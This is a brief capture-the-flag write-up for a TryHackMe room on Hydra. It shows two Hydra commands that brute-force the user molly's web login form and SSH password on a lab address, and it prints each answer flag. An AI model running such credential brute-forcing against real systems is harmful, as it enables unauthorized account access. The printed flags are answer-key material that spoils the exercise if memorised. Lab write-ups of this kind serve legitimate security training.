DEATHESTHER
← All write-ups

TRYHACKME WRITE-UP

Hydra - TryHackMe writeup

Learn about and use Hydra, a fast network logon cracker, to bruteforce and obtain a website's credentials

EasyLinuxBrute force1 min read

Open the room on TryHackMe ↗ View on GitHub

Use Hydra to bruteforce molly's web password. What is flag 1?

hydra -l molly -P /usr/share/wordlists/rockyou.txt 10.10.10.10 http-post-form "/login/:username=^USER^&password=^PASS^:F=incorrect" -t 50
THM{2673a7dd116de68e85c48ec0b1f2612e

Use Hydra to bruteforce molly's SSH password. What is flag 2?

hydra -l molly -P /usr/share/wordlists/rockyou.txt ssh://10.10.10.10 -t 50 
THM{c8eeb0468febbadea859baeb33b2541b}